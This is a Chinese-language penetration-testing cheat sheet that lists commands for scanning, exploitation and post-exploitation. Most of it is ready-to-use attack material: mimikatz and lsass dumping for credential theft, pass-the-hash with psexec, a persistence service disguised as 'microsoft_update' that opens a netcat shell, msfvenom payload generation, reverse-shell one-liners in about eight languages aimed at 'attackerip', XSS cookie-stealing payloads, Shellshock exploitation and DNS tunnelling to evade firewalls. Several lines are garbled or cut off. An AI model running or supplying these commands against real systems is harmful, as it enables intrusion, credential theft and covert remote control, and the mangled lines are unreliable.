1.NMAP
Nmap是一款枚舉和測試網絡的強大工具,有主機探測、端口掃描、版本檢測、系統檢測以及支持探測腳本編寫等功能。
Nmap下載安裝地址:nmap.org/download.html#
①漏洞掃描
cd /usr/share/nmap/scripts/ //切換到指定目錄 wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz //下載并解壓 nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
②Nmap端口掃描
1)生成隨機數量的欺騙 2)爆破 3)打包數據 – 就像原始的一個不掃描數據包 4)nmap -sI [Zombie IP] [Target IP]僵尸網絡掃描, 首先需要找到僵尸網絡的IP 5)nmap –source-port 53 target 指定源端口號 nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP) nmap -Pn -T2 -sV –randomize-hosts IP1,IP2 nmap –script smb-check-vulns.nse -p445 target (using NSE scripts) nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5) nmap -sA -PN -sN target nmap -sS -sV -T5 -F -A -O target (version detection) nmap -sU -v target (Udp) nmap -sU -P0 (Udp) nmap -sC 192.168.31.10-12 (all scan default)
2.Dirb 目錄掃描
DIRB是一款目錄掃描工具,內置于Kali,可發現潛在的滲透目標。基本上,它是通過對Web服務器發起基于字典的攻擊并分析響應來工作的。
DIRB下載地址:sourceforge.net/project
拓展學習:cnblogs.com/yyxianren/p
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
注:正常掃描格式為:dirb 目標 字典路徑
3.Nikto 網頁服務器掃描
Nikto是一款開源的網頁服務器掃描器,它可以對網頁服務器進行全面的多種掃描,包含超過3300種有潛在危險的文件CGIs;超過625種服務器版本;超過230種特定服務器問題。
源碼下載:github.com/sullo/nikto
安裝及簡單使用教程:cnblogs.com/opama/p/492
nikto -C all -h http://IP
注:-C 指定CGI目錄 –all表示猜解CGI目錄 -h 指定目標
4.WordPress掃描
WPScan是Kali Linux默認自帶的一款漏洞掃描工具,它采用Ruby編寫,能夠掃描WordPress網站中的多種安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主題漏洞。
源碼下載:github.com/wpscanteam/w
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p
注:wpscan –url #掃描基本信息
5.HTTP指紋識別
Net-Square 的Httprint工具,是一個自動化的http指紋分析工具,帶有可定制web服務器指紋數據庫,運用統計學原理,組合邏輯學技術,可有效識別Http服務器的類型。
下載地址:net-square.com/_assets/
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip //下載并解壓壓縮文件包 cd httprint_301/linux/ //切換到指定目錄 ./httprint -h http://IP -s signatures.txt // -h指定網站鏈接 -s 指定一個包含http簽名的文件,默認就是signatures.txt
6.Skipfish掃描器
Skipfish是一款主動的Web應用程序安全偵察工具。它通過執行遞歸爬取和基于字典的探測來為目標站點準備交互式站點地圖。最終的地圖然后用來自許多活動(但希望是不中斷的)安全檢查的輸出來注釋。該工具生成的最終報告旨在作為專業Web應用程序安全評估的基礎。
下載地址:code.google.com/p/skipf
拓展學習資料:my.oschina.net/u/995648
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
注:參數 -m:表示每個ip最大并發連接數。參數-L:不自動學習網站的新關鍵字。參數-Y:不要模糊目錄brute forc中的擴展。參數 -s:加載附加只讀字典。參數 -o:將輸出寫入指定目錄(必需)。
7.NC掃描
NetCat是一個非常簡單的Unix工具,可以讀、寫TCP或UDP網絡連接(network connection)。它被設計成一個可靠的后端(back-end)工具,能被其它的程序程序或腳本直接地或容易地驅動。同時,它又是一個功能豐富的網絡調試和開發工具,因為它可以建立你可能用到的幾乎任何類型的連接,以及一些非常有意思的內建功能。NetCat,它的實際可運行的名字叫nc,應該早很就被提供,就象另一個沒有公開但是標準的Unix工具。
下載網址:atstake.com/research/to
拓展學習:blog.csdn.net/xysoul/ar
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
注:參數-v:顯示詳細的輸出內容。
①Netcat的一些用法
c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt
②用NC抓banner
nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com
③使用 NC 在 Windows 上反彈 shell
c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
8.Unicornscan收集網絡信息
Unicornscan是一款通過嘗試連接用戶系統(User-land)分布式TCP/IP堆棧獲得信息和關聯關系的端口掃描器。它主要功能包括帶有所有TCP變種標記的異步無狀態TCP掃描、異步無狀態TCP標志捕獲、通過分析反饋信息獲取主動/被動遠程操作系統、應用程序、組件信息。
網站主頁:unicornscan.org/
拓展學習:sanppz.com/2019/11/30/U
us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 -H 在生成報告階段解析主機名 -m 掃描類型 (sf - tcp, U - udp) -Iv - 詳細
9.Xprobe2識別操作系統指紋
xprobe2是一款遠程主機操作系統探測工具。
網站主頁:xprobe.sourceforge.net/
下載地址:sourceforge.net/project
拓展學習:blog.csdn.net/qq_406336
xprobe2 -v -p tcp:80:open IP
注:參數-v:詳細輸出。參數-p:對指定端口/組端口進行掃描。
10.枚舉Samba
拓展學習資料:blog.csdn.net/yexiangcs
nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target
注:smbclient命令屬于samba套件。參數-I:指定服務器的IP地址。-N:不用詢問密碼。參數-u:指定用戶名稱。
11.枚舉SNMP
snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
12.一些實用的CMD命令
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:c.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:c.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32位系統
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64位系統
13.PuTTY 連接隧道
下載地址:chiark.greenend.org.uk/
使用手冊:the.earth.li/~sgtatham/
// 轉發遠程端口到目標地址plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
14.Meterpreter 端口轉發
Metasploit中的Meterpreter模塊在后滲透階段具有強大的攻擊力,本文主要整理了meterpreter的常用命令、腳本及使用方式。包含信息收集、提權、注冊表操作、令牌操縱、哈希利用、后門植入等。
拓展學習《Meterpreter命令詳解》:cnblogs.com/backlion/p/
拓展學習《后滲透之meterpreter使用攻略》:xz.aliyun.com/t/2536
// https://www.offensive-security.com/metasploit-unleashed/portfwd/// 轉發遠程端口到目標地址meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141kali > rdesktop 127.0.0.1:3389
15.開啟 RDP 服務
遠程桌面協議(RDP, Remote Desktop Protocol)是一個多通道(multi-channel)的協議,讓用戶(客戶端或稱“本地電腦”)連上提供微軟終端機服務的電腦(服務器端或稱“遠程電腦”)。位于TCP/IP協議族的應用層。在使用RDP協議的會話中,客戶端的鼠標或者鍵盤等消息經過加密后傳輸到遠端服務器并予以重放執行,而遠端服務器所進行的一系列響應也以加密消息的形式通過網絡回傳給客戶端,并借助客戶端的圖形引擎表示出來。
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0netsh firewall set service remoteadmin enablenetsh firewall set service remotedesktop enable
17.Meterpreter VNC\RDP
// 參考文章:https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/run getgui -u admin -p 1234run vnc -p 5043
18.Mimikatz使用
mimikatz 在內網滲透中是個很有用的工具。它可能讓攻擊者從內存中抓到明文密碼。不僅如此,它還可以提升進程權限,注入進程,讀取進程內存等等,mimikatz包含了很多本地模塊,更像是一個輕量級的調試器。
下載地址:github.com/gentilkiwi/m
拓展學習:blog.csdn.net/kevinstoi
git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full
19.獲取哈希值
//訪問git項目git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd或者apt-get install freerdp-x11xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP或者meterpreter > run post/windows/gather/hashdumpAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set payload windows/meterpreter/reverse_tcpmsf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586cmsf exploit(psexec) > exploitmeterpreter > s
20.Hashcat 密碼破解
hashcat號稱世界上最快的密碼破解,世界上第一個和唯一的基于GPGPU規則引擎,免費多GPU(高達128個GPU),多哈希,多操作系統(Linux和Windows本地二進制文件),多平臺(OpenCL和CUDA支持),多算法,資源利用率低,基于字典攻擊,支持分布式破解等等。
下載地址hashcat.net/files/hashc
拓展學習:freebuf.com/sectool/164
hashcat -m 400 -a 0 hash /root/rockyou.txt
注:-m, —hash-type=NUM :哈希類別,其NUM值參考其幫助信息下面的哈希類別值,其值為數字。如果不指定m值則默認指md5,例如-m 1800是sha512 Linux加密。
-a, –attack-mode=NUM:攻擊模式,其值參考后面對參數。“-a 0”字典攻擊,“-a 1” 組合攻擊;“-a 3”掩碼攻擊。
21.查找SUID \ SGID root文件
// 查找SUID root 文件find / -user root -perm -4000 -print// 查找SGID root 文件:find / -group root -perm -2000 -print// 查找任何人擁有的 SUID 和 SGID 文件:find / -perm -4000 -o -perm -2000 -print// 查找不屬于任何用戶的文件:find / -nouser -print// 查找不屬于任何組的文件:find / -nogroup -print// 查找符號鏈接及其指向的內容:find / -type l
22.Python Shell
python -c 'import pty;pty.spawn("/bin/bash")'
23.Python\Ruby\PHP HTTP 服務器
python2 -m SimpleHTTPServerpython3 -m http.serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"php -S 0.0.0.0:8888
24.獲取進程的PID
fuser -nv tcp 80fuser -k -n tcp 80
25.使用Hydra暴力破解
Hydra是一款爆破神器,可以對多種服務的賬號和密碼進行爆破,包括Web登錄、數據庫、SSH、FTP等服務,支持Linux、Windows、Mac平臺安裝,其中Kali Linux中自帶Hydra。
拓展學習:blog.csdn.net/qq_406575
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
注:L后面是賬號集,P后面是密碼集。
26.掛載遠程 Windows 共享文件夾
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
27.Kali 下編譯 Exploit
gcc -m32 -o output32 hello.c (32 位) gcc -m64 -o output hello.c (64 位)
28.Kali 下編譯 Windows Exploit
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/downloadwine mingw-get-setup.exeselect mingw32-basecd /root/.wine/drive_c/windowswget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zipcd /root/.wine/drive_c/MinGW/binwine gcc -o ability.exe /tmp/exploit.c -lwsock32wine ability.exe
29.NASM 命令
NASM 全稱 The Netwide Assembler,是一款基于80×86和x86-64平臺的匯編語言編譯程序,其設計初衷是為了實現編譯器程序跨平臺和模塊化的特性。
主頁地址:nasm.us/index.php
拓展學習:blog.csdn.net/patronwa/
nasm -f bin -o payload.bin payload.asmnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
30.SSH 穿透
拓展學習《SSH內網穿透的N種姿勢》:blog.csdn.net/MasonQAQ/
ssh -D 127.0.0.1:1080 -p 22 user@IPAdd socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains commands target
31.SSH 穿透從一個網絡到另一個網絡
ssh -D 127.0.0.1:1080 -p 22 user1@IP1Add socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2Add socks4 127.0.0.1 1081 in /etc/proxychains.confproxychains commands target
32.使用 metasploit 進行穿透
拓展學習《Meterpreter命令詳解》:cnblogs.com/backlion/p/
route add X.X.X.X 255.255.255.0 1use auxiliary/server/socks4arunproxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E或者https://www.offensive-security.com/metasploit-unleashed/pivoting/meterpreter > ipconfigIP Address : 10.1.13.3meterpreter > run autoroute -s 10.1.13.0/24meterpreter > run autoroute -p10.1.13.0 255.255.255.0 Session 1meterpreter > Ctrl+Zmsf auxiliary(tcp) > use exploit/windows/smb/psexecmsf exploit(psexec) > set RHOST 10.1.13.2msf exploit(psexec) > exploitmeterpreter > ipconfigIP Address : 10.1.13.
33.基于 CSV 文件查詢 Exploit-DB
ExploitDB 是一個面向全世界黑客的漏洞提交平臺,該平臺會公布最新漏洞的相關情況,這些可以幫助企業改善公司的安全狀況,同時也以幫助安全研究者和滲透測試工程師更好的進行安全測試工作。Exploit-DB提供一整套龐大的歸檔體系,其中涵蓋了各類公開的攻擊事件、漏洞報告、安全文章以及技術教程等資源。
git clone https://github.com/offensive-security/exploit-database.gitcd exploit-database./searchsploit –u./searchsploit apache 2.2./searchsploit "Linux Kernel"cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
34.MSF Payloads
MSF是一個免費的、可下載的框架,通過它可以很容易地獲取、開發并對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞的專業級漏洞攻擊工具。
windows下安裝MSF:cnblogs.com/M0rta1s/p/1
KALI自帶
拓展學習:blog.csdn.net/rentian1/
拓展學習:freebuf.com/sectool/210
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exemsfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.phpmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
35.MSF 生成在 Linux 下反彈的 Meterpreter Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell
36.MSF 生成反彈 Shell (C Shellcode)
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
37.MSF 生成反彈 Python Shell
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
38.MSF 生成反彈 ASP Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
39.MSF 生成反彈 Bash Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
40.MSF 生成反彈 PHP Shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.phpadd php at the beginningperl -i~ -0777pe's/^/ shell.php
41.MSF 生成反彈 Win Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
42.Linux 常用安全命令
// 使用 uid 查找對應的程序find / -uid 0 -perm -4000// 查找哪里擁有寫權限find / -perm -o=w// 查找名稱中包含點和空格的文件find / -name " " -printfind / -name ".." -printfind / -name ". " -printfind / -name " " -print// 查找不屬于任何人的文件find / -nouser// 查找未鏈接的文件lsof +L1// 獲取進程打開端口的信息lsof -i// 看看 ARP 表中是否有奇怪的東西arp -a// 查看所有賬戶getent passwd// 查看所有用戶組getent group// 列舉所有用戶的 crontabsfor user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done// 生成隨機密碼cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4// 查找所有不可修改的文件find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’// 使文件不可修改chattr -i file
43.Windows 緩沖區溢出利用命令
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f cCOMMONLY USED BAD CHARACTERS:\x00\x0a\x0d\x20 For http request\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\r_)// 常用命令:pattern createpattern offset (EIP Address)pattern offset (ESP Address)add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )!pvefindaddr pattern_create 5000!pvefindaddr suggest!pvefindaddr modules!pvefindaddr nosafeseh!mona config -set workingfolder C:\Mona\%p!mona config -get workingfolder!mona mod!mona bytearray -b "\x00\x0a"!mona pc 5000!mona po EIP!mona sugg
44.SEH – 結構化異常處理
SEH(“Structured Exception Handling”),即結構化異常處理,是 windows 操作系統提供給程序設計者的強有力的處理程序錯誤或異常的武器。
拓展學習:blog.csdn.net/qq_408907
拓展學習:bbs.pediy.com/thread-24
// 參考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH!mona suggest!mona nosafesehnseh="\xeb\x06\x90\x90" (next seh chain)iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
45.ROP (DEP)
ROP(“Return-Oriented Programming”)是計算機安全漏洞利用技術,該技術允許攻擊者在安全防御的情況下執行代碼,如不可執行的內存和代碼簽名。
DEP(“Data Execution Prevention”)是一套軟硬件技術,在內存上嚴格將代碼和數據進行區分,防止數據當做代碼執行。
// 參考文章:https://en.wikipedia.org/wiki/Return-oriented_programming// 參考文章:https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B// 參考文章:https://en.wikipedia.org/wiki/Data_Execution_Prevention!mona modules!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest
46.ASLR – 地址空間格局隨機化
參考文章:baike.baidu.com/item/%E
// 參考文章:https://en.wikipedia.org/wiki/Address_space_layout_randomization!mona noasl
47.尋蛋(EGG Hunter)技術
Egg hunting這種技術可以被歸為“分級shellcode”,它主要可以支持你用一小段特制的shellcode來找到你的實際的(更大的)shellcode(我們的‘雞蛋‘),原理就是通過在內存中搜索我們的最終shellcode。換句話說,一段短代碼先執行,然后再去尋找真正的shellcode并執行。
拓展學習:fuzzysecurity.com/tutor
拓展學習:pediy.com/kssd/pediy12/ (看雪論壇)
// https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/!mona jmp -r esp!mona egg -t lxxl\xeb\xc4 (jump backward -60)buff=lxxllxxl+shell!mona egg -t 'w00t'
48.GDB Debugger 常用命令
// 設置斷點break *_start// 執行下一個命令nextstepns// 繼續執行continuec// 數據checking 'REGISTERS' and 'MEMORY'// 顯示寄存器的值: (Decimal,Binary,Hex)print /d –> Decimalprint /t –> Binaryprint /x –> HexO/P :(gdb) print /d $eax$17 = 13(gdb) print /t $eax$18 = 1101(gdb) print /x $eax$19 = 0xd(gdb)// 顯示特定內存地址的值command : x/nyz (Examine)n –> Number of fields to display ==>y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32
49.BASH 反彈 Shell
bash -i >& /dev/tcp/X.X.X.X/443 0>&1exec /bin/bash 0&0 2>&0exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&1960<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; doneexec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done # or:while read line 0<&5; do $line 2>&5 >&5; done/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1
50.PERL 反彈 Shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'// Win 平臺perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
51.RUBY 反彈 Shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'// Win 平臺ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
52.PYTHON 反彈 Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
53.PHP 反彈 Shell
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
54.JAVA 反彈 Shell
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
55.NETCAT 反彈 Shell
nc -e /bin/sh attackerip 4444nc -e /bin/sh 192.168.37.10 443// 如果 -e 參數被禁用,可以嘗試以下命令// mknod backpipe p && nc attackerip 443 0backpipe/bin/sh | nc attackerip 443rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/// 如果你安裝錯了 netcat 的版本,請嘗試以下命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/
56.TELNET 反彈 Shell
// 如果 netcat 不可用或者 /dev/tcpmknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
57.XTERM 反彈 Shell
// http://baike.baidu.com/view/418628.htm// 開啟 X 服務器 (:1 – 監聽 TCP 端口 6001)apt-get install xnestXnest :1// 記得授權來自目標 IP 的連接xterm -display 127.0.0.1:1// 授權訪問xhost +targetip// 在目標機器上連接回我們的 X 服務器xterm -display attackerip:1/usr/openwin/bin/xterm -display attackerip:1or$ DISPLAY=attackerip:0 xte
58.XSS 備忘錄
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet("< iframes > src=http://IP:PORT ")<script>document.location=http://IP:PORT';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>";!–"<XSS>=&amp;{()}<IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG """>alert("</span>XSS<span style="outline: 0px;max-width: 100%;color: rgb(241, 64, 60);box-sizing: border-box !important;overflow-wrap: break-word !important;">")"">:alert('XSS');">perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out(">< iframes http://google.com < iframes >)')">XSS');">">alert(document.cookie)%253cscript%253ealert(document.cookie)%253c/script%253e">alert(document.cookie)%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E<img src=asdf onerror=alert(document.
59.SSH Over SCTP (使用 Socat)
socat是一個多功能的網絡工具,名字來由是” Socket CAT”,可以看作是netcat的N
倍加強版。
官方網站:dest-unreach.org/socat/
安裝及使用教程:blog.csdn.net/u01028597
命令學習:jianshu.com/p/54005e309
// 遠端服務器// 假設你準備讓 SCTP socket 監聽端口 80/SCTP 并且 sshd 端口在 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22// 本地端// 將 SERVER_IP 換成遠端服務器的地址,然后將 80 換成 SCTP 監聽的端口號$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80// 創建 socks 代理// 替換 username 和 -p 的端口號$ ssh -lusername localhost -D 8080 -p 1337使用洋蔥網絡// 安裝服務$ apt-get install tor torsocks// 綁定 ssh 到 tor 服務端口 80// /etc/tor/torrcSocksPolicy accept 127.0.0.1SocksPolicy accept 192.168.0.0/16Log notice file /var/log/tor/notices.logRunAsDaemon 1HiddenServiceDir /var/lib/tor/ssh_hidden_service/HiddenServicePort 80 127.0.0.1:22PublishServerDescriptor 0$ /etc/init.d/tor start$ cat /var/lib/tor/ssh_hidden_service/hostname3l5zstvt1zk5jhl662.onion// ssh 客戶端連接$ apt-get install torsocks$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p
60.Metagoofil – 元數據收集工具
Metagoofil 是一款利用Google收集信息的工具。它可以自動在搜素引擎中檢索和分析文件,還具有提供Mac地址,用戶名列表等其他功能
官網地址edge-security.com/metag
拓展學習《metagoofil用法》:blog.csdn.net/feier7501
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
61.利用 Shellshock
一個發現并利用服務器 Shellshock 的工具
安裝及使用: github.com/nccgroup/sho
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose// 查看文件$ echo -e "HEAD /cgi-bin/status HTTP/1.1\rUser-Agent: () { :;}; echo \$( | nc 192.168.56.118 80// 綁定 shell$ echo -e "HEAD /cgi-bin/status HTTP/1.1\rUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\rHost: vulnerable\rConnection: close\r\r" | nc 192.168.56.118 80// 反彈 Shell$ nc -l -p 443$ echo "HEAD /cgi-bin/status HTTP/1.1\rUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\rHost: vulnerable\rConnection: close\r\r" | nc 192.168.56.118
62.獲取 Docker 的 Root
// 獲取 Docker 的 Root// user 必須在 docker 用戶組中ek@victum:~/docker-test$ iduid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)ek@victum:~$ mkdir docker-testek@victum:~$ cd docker-testek@victum:~$ cat > DockerfileFROM debian:wheezyENV WORKDIR /stuffRUN mkdir -p $WORKDIRVOLUME [ $WORKDIR ]WORKDIR $WORKDIR<< EOFek@victum:~$ docker build -t my-docker-image .ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'./shwhoami# rootek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/
63.使用 DNS 隧道繞過防火墻
// 讓數據和命令使用 DNS 隧道傳輸以繞過防火墻的檢查// dnscat2 支持從目標主機上面上傳和下載命令來獲取文件、數據和程序// 服務器 (攻擊者)$ apt-get update$ apt-get -y install ruby-dev git make g++$ gem install bundler$ git clone https://github.com/iagox86/dnscat2.git$ cd dnscat2/server$ bundle install$ ruby ./dnscat2.rbdnscat2> New session established: 16059dnscat2> session -i 16059// 客戶機 (目標)// https://downloads.skullsecurity.org/dnscat2/// https://github.com/lukebaggett/dnscat2-powershell$ dnscat --host <dnscat server_ip
64.編譯 Assemble 代碼
$ nasm -f elf32 simple32.asm -o simple32.o$ ld -m elf_i386 simple32.o simple32$ nasm -f elf64 simple.asm -o simple.o$ ld simple.o -o simple
65.使用非交互 Shell 打入內網
